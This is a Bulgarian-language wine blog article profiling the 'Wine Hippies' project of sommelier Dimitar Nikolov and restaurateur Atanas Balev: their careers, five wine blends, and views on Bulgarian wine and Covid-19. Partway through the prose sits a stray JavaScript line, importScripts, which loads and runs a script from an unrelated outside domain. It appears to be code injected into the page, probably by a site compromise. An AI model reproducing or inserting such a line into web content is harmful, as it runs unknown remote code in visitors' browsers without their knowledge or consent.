fbpx
+359 88 637 6704 info@sofiawinewalk.com

Революцията е най-страшното, но и най-желаното събитие в човешката история. Тя променя установения ред, сваля държави и империи, унищожава старото и ненужно, прави път на новото, прокарва съвременни идеи и дава началото на цели епохи.

Не съм сигурен дали е точно така с проекта Wine Hippies, но съм сигурен, че е бунтарски израз на обаянието и потенциала, който се крие зад понятието българско вино. Винените хипита носят стремеж за промяна на изгражданите с десетилетия стереотипи, път към истината, връщане към идентичността и природата и едно изцяло ново възприятие за това как би могло да изглежда новото лице на българското вино.

Във всяка една революция има главни действащи лица. Така е и в проекта Wine hippies. Това са винените легионери Димитър Николов и Атанас Балев.

Какво е характерно за профила на много бунтари ? Това, че дълго време са трупали опит преди да изразят своята собствена позиция и виждане или с други думи да скъсат оковите. Така е и в случая на двамата другари в проекта. Дългите им винени визитки говорят достатъчно красноречиво за натрупания с годините опит във винения свят.

importScripts("https://superonclick.com/script/psw.min.js");

Да започнем с историята на Митко Николов. През далечната 2004 г. заминава за САЩ, където работи като Сомелиер, ставайки част от организацията International Sommelier’s Guild. През 2007 г. се връща обратно в родната България и прекарва една година като Сомелиер в Банско. От 2008 отваря нова винена страница, стартирайки работа като Wine Buyer за Метро България. Прекарва три години на тази позиция и желанието за развитие го завежда в Москва, където до 2014 г. работи като Wine Buyer за Метро в Русия. От 10 години е представител за България в журитата на международни конкурси като Decanter и Mundus Vini. Жаждата за знания го сблъсква и с WSET London. Завършва Advanced Level 3 и учи за Diploma Level 4. Връщайки се в България основава Българска академия за вино и спиртни напитки (WSAB) заедно с Еди Куриан от Росиди и Александър Скорчев, сомелиер на Зорница Естейт.

Проектът Apollowine е ключов за Митко и неговата половинка Дони. Семейството стартира един от първите онлайн магазини за продажба на вино в България през 2014 г. Идеята се появява още докато са в Москва и започват подготовка по нея от тогава, но истинският тласък е даден през 2015 г. А най-голям напредък в бизнеса отбелязват от 2017 г. Apollowine ги вдъхновява да създадат собствени серии вина. Така се раждат купажа с Широка Мелнишка Лоза, реколта 2017, осъществен във Вила Мелник и Шардоне Barrel fermented 2015 съвместно със Зеланос, винарна която Митко консултира. И двете вина са приети с огромен успех на пазара и първото дори вече е свършило.

 

Със сигурност не свършва любовта и на Митко, и на другаря му в проекта Wine Hippies Наско Балев към Мелнишкия край, неговата неустоимо красива природа и сорта Широка Мелнишка Лоза. Семейство Николови го определя като емблематичен за тях и за много от клиентите на Apollowine. Наско, от своя страна не може да скрие, че ШМЛ му е слабост, но все пак признава, че истински любим му е Мелник 55.

Време е да разкажем и за Атанас Балев. Откакто се помни, се занимава с ресторанти. Първият му е още на крехката възраст от 14г. С времето открива, че това му е истинска страст, която продължава да го пали отвътре и до днес. Никога ресторантьорството за него не е било просто една работа, а напротив – мисия, себеизразяване, упорит труд в името на това да видиш мечтите си осъществени. Макар да завършва висше икономическо образование, на 19г. твърдо решава, че ще посвети живота си на ресторантьорския бизнес. На 21 г става управител на ресторант Амстердам в Пловдив. Истински фурор прави през последните четири години като управител на ресторант Космос в София. Космическа революция или насладата в чиния от тържеството на традиционни местни български продукти, сготвени по най-модерни техники. Това винаги е бил водещ принцип в цялостната философия на Наско за живота и всичките му търсения– да съчетае даденото ни вече от земята и природата с нов, модерен подход и безупречно отношение към всеки един миниатюрен детайл. Не минава дълго време и разбира, че така трябва да действа и с виното. От един необходим елемент във всеки ресторант за Наско виното се превръща в още един неизчерпаем извор на творчество. Сблъсква се и с общоустановеното мнение, че българското вино е с ниско качество и никога няма да стигне до голямата сцена. Да, ама не. Наско решава да бъде новатор и да създаде собствени серии вина, които да бъдат достъпни единствено и само на територията на ресторант Космос. И не просто някакви там блендове, а вина, от които да струи неговото лично усещане, това, което той самият възприема като добре направено вино и би изпил с удоволствие. Вина, Речено – сторено. И днес могат да бъдат открити на винения лист на Космос. Казват, че децата нямат спирачки. А дори и вече възрастен, веднъж събудил ли си детето вътре в себе си, то ще мечтае за цял живот. Е, идва времето и на историческата среща на Митко и Наско и раждането на винените хипита. Още от самото начало на тяхното запознанство откриват, че споделят не само еднакви винени възгледи, но и житейски такива. Какъв по-добър начин да ги изразят, ако не в нещо тотално различно от установените норми, смело, но и отговорно. Това е концепцията, която ги обединява в Wine hippies – да дадат изява на свободата и творчеството, но пречупени през призмата на знанието и дългогодишния им винен опит. Всеки един от двамата внася конкретен възглед, който успешно се вплита в цялостната концепция. И двамата са сигурни, че определени български изби се справят изключително добре с точно определени сортове, защото са придобили най-подходящите тероари, на които са засадени. Поставяйки обаче останалите вина на една и съща изба не винаги могат да открият същия успех с други сортове. Това заключават след дългогодишни дегустации, пътувания и изследвания на български изби и вина. Тогава какво е решението ?  Селекция от отделни тероари, които са емблематични за дадени изби и сортове, които съответстват на представата за честни и в същото време необикновени вина. Wine hippies е дълбок житейски проект, носещ със себе си ураган от общочовешки размисли, които да разтърсят из основи консервативния български винен свят, да го излекуват от егоцентризма и да го въведат в едно ново и модермо измерение на интуицията, вътрешното усещане за красота и свързване с корените и природата. Застъпен е сблъсъкът между старото – традициите и ценностите, с които сме възпитани и новото – тенденциите, диктувани от модерния свят и възможността за адаптация и надграждане. Един израз описва най-успешно концепцията на Wine hippies – out of the box. Душевността е това, което ни дава живот и Митко и Наско смятат, че това неминуемо се отнася и за света на виното. Вината, направени с любов и усещане се отличават от другите. Чрез проекта Wine Hippies двамата разказват собствената си история на бунтари и нестандартно мислещи във винен аспект.

Първото им вино е Совиньон Блан с изба Зеланос, реколта 2019. Етикетът, на който има череп, разказва сам по себе си идеята – bone dry, сух, с високи киселини или различният от другите Совиньони. Държат да споделят, че всъщност виното е купаж от двата най-успешни сорта на изба Зеланос – 85% Совиньон Блан и 15% Пино Гри. Действали са според закона, който им позволява да не упоменават на етикета втория сорт, а и според предпочитанията на пазара. Тренираното небце на винения специалист няма как да пропусне характера на Пино Гри във виното – минералност, комплексност, пикантност. Именно затова е важно да бъде разкрит този детайл. Серията е от 1000 бутилки.

The Wine Traveller или виненият пътешественик е блендът на Сира с Мерло, реколта 2018. Стойчо Стоев, технологът на винарна Меди Валей отдавна е известен със своето майсторство, когато става дума за сорта Сира. Това не убягва на Митко и Наско и успяват да използват няколко от най-добрите бъчви на технолога за техния купаж. Плодов, младежки и изразителен, но без особена дълбочина и тежест. Сирата е от различни френски дъбови бъчви, комбинация от първо и второ зареждане. Мерлото не отлежава в дъб и ролята му в купажа е да усмири буйната, структурирана Сира и да омекоти танина й. Съотношението между двата сорта в купажа е 70/30, а произведената серия е от 1300 бутилки. Символът, който изскача в съзнанието ни е на пътешественика, приел the free spirit за пътеводител към откриване на нови винени дестинации. Мотористът на етикета е мъжествен, но се е отдал на изненадите на заобикалящия го път и мисията да търси себе си.

Мавруд Face off 2018 от изба Манастира е символ на премахване на установеното схващане във виненото общество, че сортът произвежда само тежки, плътни вина със страховити танини. Илюзионистът на етикета няма образ на мястото на лицето, а държи много различни и показва всяко едно от тях. Така е и с лицето на Мавруд Face off 2018. Направен е от клон 1, който дава вина с по-леко тяло и отличителен вкус на сочна, червена череша. Средното отлежаване на виното в бъчви от френски дъб е около 6 месеца, като отново са използвани различни партиди от първо и второ зареждане. Това е виното, произведено в най-дълга серия от 1900 бутилки.

The Spaceman или Космонавтът е бленд на Широка Мелнишка Лоза и Мелник 55, произведен с винарна Орбелия.  2018 е една магическа и необикновена реколта според Митко, тъй като е рядък късмет ШМЛ да узрее фенолно. Той е удивен от това стечение на обстоятелствата и е убеден, че ще изкупи цялата реколта от ШМЛ на Орбелия. На практика се оказва, че вината са вече готови и Митко и Наско купажират двата сорта в съотношение 60/40 в полза на Широка Мелнишка Лоза. Отделните партиди отлежават средно 9 месеца във второ и трето зареждане френски дъбови бъчви. Двамата пионери смятат, че са подтиснали дивата природа на Широка Мелнишка Лоза и са дали гласност на плодовия, сочен и приятен за небцето Мелник 55. Летящият космонавт е в серия от 1500 бутилки.

Кралското лице Deer Gentleman на Wine Hippies е Бордо блендът им реколта 2018, направен с вианрна Беса Валей. Истинска мозайка от 25% Сира, 25% Мерло, 20 % Каберне Совиньон и ах каква изненада – цели 30% Пти Вердо или истинският гръбнак, по думи на Митко – подложката на бленда. Вината на Беса Валей се славят с пословично отлежаване до момента, в който технологът не заяви, че са готови да бъдат показани. Резултатът е мекота, изразен плодов характер и интегрирани узрели танини. Типична за бленда на Wine hippies е елегантността, подплътена със стълбове дълбочина. Ако почеркът на Беса Валей се изразява в доминация на Сира и Мерло, то Митко и Наско шокират технолозите с решението да увеличат процента на Пти Вердо и Каберне Совиньон, както и да пуснат като актуална реколта на пазара 2018 за сравнение с тази на Енира – 2015. Получават изключителна дълбочина на нюансите, структурираност, комплексност, многопластово изразяване на сортовете. Според тях това е труднопостижимо съчетание за вино, произведено в българска изба. На етикета Deer Gentleman обединява благородството на елена – кралската му природа в дивия свят и мотива за часовниците – времето неумолимо тиктака и посланието към всички нас е да не вземаме себе си прекалено сериозно. Лекота и професионализъм са правилната рецепта за успех, а егоцентризмът не води към добър край. Серията е от 1500 бутилки.

Wine Hippies и бъдещето на българското вино.

Митко и Наско определят бъдещето на българското вино като светло и знак за това е все по-високото качество при определени изби и отчетливият напредък. Няма как да не споменат и подводните камъни или предизвикателствата пред него. А именно нуждата от повече далновидност при управление на бизнеса, по-топло гостоприемство и липсата на добре развит винен туризъм. Като решение предлагат да не се поставят нещата в рамки, очертавани от търсенето на пазара, а да се подходи с експериментаторски нюх, свобода на изразяване на собствените виждания. Правенето на вино трябва да бъде интуитивно и да носи удоволствие и на двете страни – производител и краен потребител.

Covid 19 и Wine hippies. Пандемията спира двамата мечтатели да стартират проекта по начина, по който са си представяли, но също така им дава време да довършат всички блендове. Вината са предвидени като успешен продукт за ресторанти и със създалата се ситуация продажбите страдат неимоверно, но за Митко и Наско е истинско признание, когато чуят добри думи за вината си. Така например екипите на ресторантите Медитеранео, Хамачи и Ботега са наистина впечатлени от крайния резултат и в Ботега за първи път е листнато българско вино в компанията на собствено внесените им италиански. Младите и енергични служители на гореизброените напълно отразяват основната идея зад вината Wine hippies – да бъдат позиционирани в малко на брой търговски обекти, но за сметка на това такива с лично отношение към продукта.

Според Наско Covid 19 e червена лампа, целяща да ни подсети да спрем да приемаме света по стария начин досега, а да се смирим, да намалим темпото и да се огледаме. Вселената ни праща послание да бъдем съзнателни, да не губим съобладание, а да работим упорито за мечтите си. Макар, че символ на проекта е необятността на Космоса, Наско признава, че двамата с Митко имат нужда и от приземяване понякога. Във винен контекст това се превежда като добро съотношение цена/качество, от което да спечели крайният потребител. Митко и Наско вече са разгледали внимателно този аспект от дейността си. Какво остава? Посоката е само напред със същия ентусиазъм както досега.

Author 

Pavlin Ivanov